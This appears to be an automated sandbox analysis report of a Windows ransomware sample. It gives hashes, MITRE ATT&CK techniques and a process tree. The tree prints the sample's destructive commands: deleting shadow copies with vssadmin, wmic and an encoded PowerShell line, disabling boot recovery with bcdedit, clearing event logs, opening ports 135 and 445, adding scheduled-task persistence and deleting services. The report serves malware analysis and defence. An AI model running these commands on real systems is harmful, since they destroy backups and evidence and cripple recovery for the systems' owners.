fbf9c0015a89908ba92c345ede8e7b98487c3337a3abc73f6efbf3df5a737e1f

Resubmissions

31/07/2025, 14:50

250731-r7z1msxp1510

02/07/2025, 23:18

250702-3ar5basns59

Analysis

max time kernel
150s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20250619-en
submitted
02/07/2025, 23:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
Size 113KB
Sample250702-3ar5basns5
SHA256 fbf9c0015a89908ba92c345ede8e7b98487c3337a3abc73f6efbf3df5a737e1f
MD5 98a79e6ab303c8e8d392e382e1ecfed6
SHA1 f92a7b673b7d35339a0922153b539dfc5fe73c6e
SHA512 2fb3c33982634ca813246ee8492e0842d40dca3ab22ba98df5e1ae47512512da513fa82ea1edd77c4bf8c3a5cac1759873119a9a6dae1afbafccebe2b00f00c9
SSDEEP 1536:/KqG24yh1O6Aenr3H58QPPXQ7lLdo9M9ZCEvJY9M9wuSG:/KqGISer3pXCpkM9ZCoJYy
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

defense_evasion discovery evasion execution impact persistence ransomware spyware stealer

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
5064	bcdedit.exe
2008	bcdedit.exe

Renames multiple (260) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 1 IoCs

pid	Process
2260	svchost.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1704	powershell.exe
2080	powershell.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-625765727-1271952295-745797415-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\LrkLSoolf.bmp"	svchost.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
776	sc.exe
1012	sc.exe
2332	sc.exe
4688	sc.exe
1512	sc.exe
4616	sc.exe
2832	sc.exe
3916	sc.exe
2428	sc.exe
572	sc.exe
1484	sc.exe
2052	sc.exe
3860	sc.exe
5084	sc.exe
3152	sc.exe
928	sc.exe
3916	sc.exe
3772	sc.exe
1032	sc.exe
2220	sc.exe
1500	sc.exe
1960	sc.exe
816	sc.exe
2084	sc.exe
4424	sc.exe
4928	sc.exe
240	sc.exe
2504	sc.exe
4844	sc.exe
1980	sc.exe
752	sc.exe
4184	sc.exe
1568	sc.exe
2832	sc.exe
1900	sc.exe
1728	sc.exe
5028	sc.exe
4036	sc.exe
3220	sc.exe
2888	sc.exe
3192	sc.exe
332	sc.exe
5040	sc.exe
1428	sc.exe
1612	sc.exe
4476	sc.exe
4596	sc.exe
3056	sc.exe
4580	sc.exe
1212	sc.exe
1884	sc.exe
1480	sc.exe
4876	sc.exe
2748	sc.exe
4036	sc.exe
2504	sc.exe
5088	sc.exe
3596	sc.exe
1612	sc.exe
4228	sc.exe
4784	sc.exe
952	sc.exe
1916	sc.exe
708	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 6 IoCs

defense_evasion

pid	Process
4352	timeout.exe
4300	timeout.exe
1264	timeout.exe
1376	timeout.exe
2324	timeout.exe
852	timeout.exe

Discovers systems in the same network 1 TTPs 1 IoCs

discovery

Remote System Discovery

T1018

pid	Process
572	net.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5044	vssadmin.exe
900	vssadmin.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3988	schtasks.exe
4512	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
Token: SeDebugPrivilege	4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
Token: SeTcbPrivilege	4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
Token: SeSecurityPrivilege	4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
Token: SeTakeOwnershipPrivilege	4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
Token: SeDebugPrivilege	2260	svchost.exe
Token: SeDebugPrivilege	2260	svchost.exe
Token: SeTcbPrivilege	2260	svchost.exe
Token: SeSecurityPrivilege	2260	svchost.exe
Token: SeTakeOwnershipPrivilege	2260	svchost.exe
Token: SeDebugPrivilege	2260	svchost.exe
Token: SeTcbPrivilege	2260	svchost.exe
Token: SeSecurityPrivilege	2260	svchost.exe
Token: SeTakeOwnershipPrivilege	2260	svchost.exe
Token: SeDebugPrivilege	4516	powershell.exe
Token: SeDebugPrivilege	2436	powershell.exe
Token: SeDebugPrivilege	1004	powershell.exe
Token: SeDebugPrivilege	4456	powershell.exe
Token: SeDebugPrivilege	1704	powershell.exe
Token: SeDebugPrivilege	1476	powershell.exe
Token: SeDebugPrivilege	1664	powershell.exe
Token: SeBackupPrivilege	1880	vssvc.exe
Token: SeRestorePrivilege	1880	vssvc.exe
Token: SeAuditPrivilege	1880	vssvc.exe
Token: SeDebugPrivilege	3520	powershell.exe
Token: SeIncreaseQuotaPrivilege	1312	WMIC.exe
Token: SeSecurityPrivilege	1312	WMIC.exe
Token: SeTakeOwnershipPrivilege	1312	WMIC.exe
Token: SeLoadDriverPrivilege	1312	WMIC.exe
Token: SeSystemProfilePrivilege	1312	WMIC.exe
Token: SeSystemtimePrivilege	1312	WMIC.exe
Token: SeProfSingleProcessPrivilege	1312	WMIC.exe
Token: SeIncBasePriorityPrivilege	1312	WMIC.exe
Token: SeCreatePagefilePrivilege	1312	WMIC.exe
Token: SeBackupPrivilege	1312	WMIC.exe
Token: SeRestorePrivilege	1312	WMIC.exe
Token: SeShutdownPrivilege	1312	WMIC.exe
Token: SeDebugPrivilege	1312	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1312	WMIC.exe
Token: SeRemoteShutdownPrivilege	1312	WMIC.exe
Token: SeUndockPrivilege	1312	WMIC.exe
Token: SeManageVolumePrivilege	1312	WMIC.exe
Token: 33	1312	WMIC.exe
Token: 34	1312	WMIC.exe
Token: 35	1312	WMIC.exe
Token: 36	1312	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1312	WMIC.exe
Token: SeSecurityPrivilege	1312	WMIC.exe
Token: SeTakeOwnershipPrivilege	1312	WMIC.exe
Token: SeLoadDriverPrivilege	1312	WMIC.exe
Token: SeSystemProfilePrivilege	1312	WMIC.exe
Token: SeSystemtimePrivilege	1312	WMIC.exe
Token: SeProfSingleProcessPrivilege	1312	WMIC.exe
Token: SeIncBasePriorityPrivilege	1312	WMIC.exe
Token: SeCreatePagefilePrivilege	1312	WMIC.exe
Token: SeBackupPrivilege	1312	WMIC.exe
Token: SeRestorePrivilege	1312	WMIC.exe
Token: SeShutdownPrivilege	1312	WMIC.exe
Token: SeDebugPrivilege	1312	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1312	WMIC.exe
Token: SeRemoteShutdownPrivilege	1312	WMIC.exe
Token: SeUndockPrivilege	1312	WMIC.exe
Token: SeManageVolumePrivilege	1312	WMIC.exe
Token: 33	1312	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4624 wrote to memory of 2996	4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe	79
PID 4624 wrote to memory of 2996	4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe	79
PID 4624 wrote to memory of 1232	4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe	80
PID 4624 wrote to memory of 1232	4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe	80
PID 4624 wrote to memory of 2972	4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe	81
PID 4624 wrote to memory of 2972	4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe	81
PID 2996 wrote to memory of 852	2996	cmd.exe	85
PID 2996 wrote to memory of 852	2996	cmd.exe	85
PID 1232 wrote to memory of 4352	1232	cmd.exe	86
PID 1232 wrote to memory of 4352	1232	cmd.exe	86
PID 2972 wrote to memory of 4300	2972	cmd.exe	87
PID 2972 wrote to memory of 4300	2972	cmd.exe	87
PID 4624 wrote to memory of 2260	4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe	88
PID 4624 wrote to memory of 2260	4624	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe	88
PID 2260 wrote to memory of 4040	2260	svchost.exe	89
PID 2260 wrote to memory of 4040	2260	svchost.exe	89
PID 2260 wrote to memory of 1512	2260	svchost.exe	90
PID 2260 wrote to memory of 1512	2260	svchost.exe	90
PID 2260 wrote to memory of 3648	2260	svchost.exe	91
PID 2260 wrote to memory of 3648	2260	svchost.exe	91
PID 4040 wrote to memory of 1264	4040	cmd.exe	95
PID 4040 wrote to memory of 1264	4040	cmd.exe	95
PID 1512 wrote to memory of 1376	1512	cmd.exe	96
PID 1512 wrote to memory of 1376	1512	cmd.exe	96
PID 3648 wrote to memory of 2324	3648	cmd.exe	97
PID 3648 wrote to memory of 2324	3648	cmd.exe	97
PID 2260 wrote to memory of 2436	2260	svchost.exe	98
PID 2260 wrote to memory of 2436	2260	svchost.exe	98
PID 2260 wrote to memory of 4516	2260	svchost.exe	100
PID 2260 wrote to memory of 4516	2260	svchost.exe	100
PID 2260 wrote to memory of 1004	2260	svchost.exe	102
PID 2260 wrote to memory of 1004	2260	svchost.exe	102
PID 2260 wrote to memory of 4456	2260	svchost.exe	104
PID 2260 wrote to memory of 4456	2260	svchost.exe	104
PID 2260 wrote to memory of 3988	2260	svchost.exe	106
PID 2260 wrote to memory of 3988	2260	svchost.exe	106
PID 2260 wrote to memory of 1704	2260	svchost.exe	108
PID 2260 wrote to memory of 1704	2260	svchost.exe	108
PID 2260 wrote to memory of 1664	2260	svchost.exe	110
PID 2260 wrote to memory of 1664	2260	svchost.exe	110
PID 2260 wrote to memory of 1476	2260	svchost.exe	112
PID 2260 wrote to memory of 1476	2260	svchost.exe	112
PID 2260 wrote to memory of 5044	2260	svchost.exe	114
PID 2260 wrote to memory of 5044	2260	svchost.exe	114
PID 1476 wrote to memory of 3520	1476	powershell.exe	118
PID 1476 wrote to memory of 3520	1476	powershell.exe	118
PID 2260 wrote to memory of 1772	2260	svchost.exe	30
PID 2260 wrote to memory of 3692	2260	svchost.exe	123
PID 2260 wrote to memory of 3692	2260	svchost.exe	123
PID 2260 wrote to memory of 4168	2260	svchost.exe	125
PID 2260 wrote to memory of 4168	2260	svchost.exe	125
PID 2260 wrote to memory of 1460	2260	svchost.exe	127
PID 2260 wrote to memory of 1460	2260	svchost.exe	127
PID 2260 wrote to memory of 2456	2260	svchost.exe	129
PID 2260 wrote to memory of 2456	2260	svchost.exe	129
PID 2260 wrote to memory of 4912	2260	svchost.exe	131
PID 2260 wrote to memory of 4912	2260	svchost.exe	131
PID 2260 wrote to memory of 3604	2260	svchost.exe	133
PID 2260 wrote to memory of 3604	2260	svchost.exe	133
PID 2260 wrote to memory of 1008	2260	svchost.exe	135
PID 2260 wrote to memory of 1008	2260	svchost.exe	135
PID 2260 wrote to memory of 316	2260	svchost.exe	137
PID 2260 wrote to memory of 316	2260	svchost.exe	137
PID 316 wrote to memory of 900	316	cmd.exe	139

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1772

C:\Users\Admin\AppData\Local\Temp\2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
"C:\Users\Admin\AppData\Local\Temp\2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4624
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_WRNcQOQ3.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2996
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:852
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_AFbjp5K7.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1232
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4352
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_wsSCPQN9.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2972
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4300
- C:\Users\Admin\AppData\Local\svchost.exe
  "C:\Users\Admin\AppData\Local\svchost.exe"
  2⤵
  - Executes dropped EXE
  - Sets desktop wallpaper using registry
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2260
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_hGDXf9Ta.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4040
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1264
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_snce4VDe.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1512
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1376
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_Sa3RxfS6.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3648
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2324
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" /c New-NetFirewallRule -DisplayName "Allow Inbound TCP Port 135" -Direction Inbound -Protocol TCP -LocalPort 135 -Action Allow -Enabled True
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" /c New-NetFirewallRule -DisplayName "Allow Outbound TCP Port 135" -Direction Outbound -Protocol TCP -LocalPort 135 -Action Allow -Enabled True
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4516
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" /c New-NetFirewallRule -DisplayName "Allow Inbound TCP Port 445" -Direction Inbound -Protocol TCP -LocalPort 445 -Action Allow -Enabled True
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1004
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" /c New-NetFirewallRule -DisplayName "Allow Outbound TCP Port 445" -Direction Outbound -Protocol TCP -LocalPort 445 -Action Allow -Enabled True
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4456
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn UpdateTaskdWiWL5 /tr "C:\Users\Admin\AppData\Local\svchost.exe" /sc onlogon /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3988
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:1704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F53686F646F77736F7079207C20466F7245616368202D4F626A656374207B245F2E44656C65746528297D20'.Substring(2*$_,2))};"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();} '.Substring(2*$_,2))};"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1476
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3520
- - C:\Windows\SYSTEM32\vssadmin.exe
    "vssadmin.exe" delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5044
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C /c vssadmin Delete Shadows /All /Quiet
    3⤵
    PID:3692
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:4168
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:1460
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C /c wmic SHADOWCOPY /nointeractive
    3⤵
    PID:2456
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C /c wevtutil cl security
    3⤵
    PID:4912
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C /c wevtutil cl system
    3⤵
    PID:3604
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C /c wevtutil cl application
    3⤵
    PID:1008
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:316
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:900
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1312
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      Modifies boot configuration data using bcdedit
      PID:5064
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2008
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C /C DEL /F /Q C:\PROGRA~3\8F11.tmp >> NUL
    3⤵
    PID:1600
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop vss
    3⤵
    PID:236
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop vss
      4⤵
      PID:1896
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config vss start=disabled
    3⤵
    PID:3136
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete vss
    3⤵
    PID:3436
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop vss
    3⤵
    PID:4580
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop vss
      4⤵
      PID:3056
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config vss start=disabled
    3⤵
    - Launches sc.exe
    PID:1480
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete vss
    3⤵
    PID:3880
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop vss
    3⤵
    PID:3048
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop vss
      4⤵
      PID:5084
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config vss start=disabled
    3⤵
    PID:5044
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete vss
    3⤵
    PID:4756
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sql
    3⤵
    PID:1376
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sql
      4⤵
      PID:3708
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sql start=disabled
    3⤵
    PID:1156
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sql
    3⤵
    - Launches sc.exe
    PID:4784
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sql
    3⤵
    PID:2748
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sql
      4⤵
      PID:2592
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sql start=disabled
    3⤵
    PID:1032
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sql
    3⤵
    PID:3008
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sql
    3⤵
    PID:1536
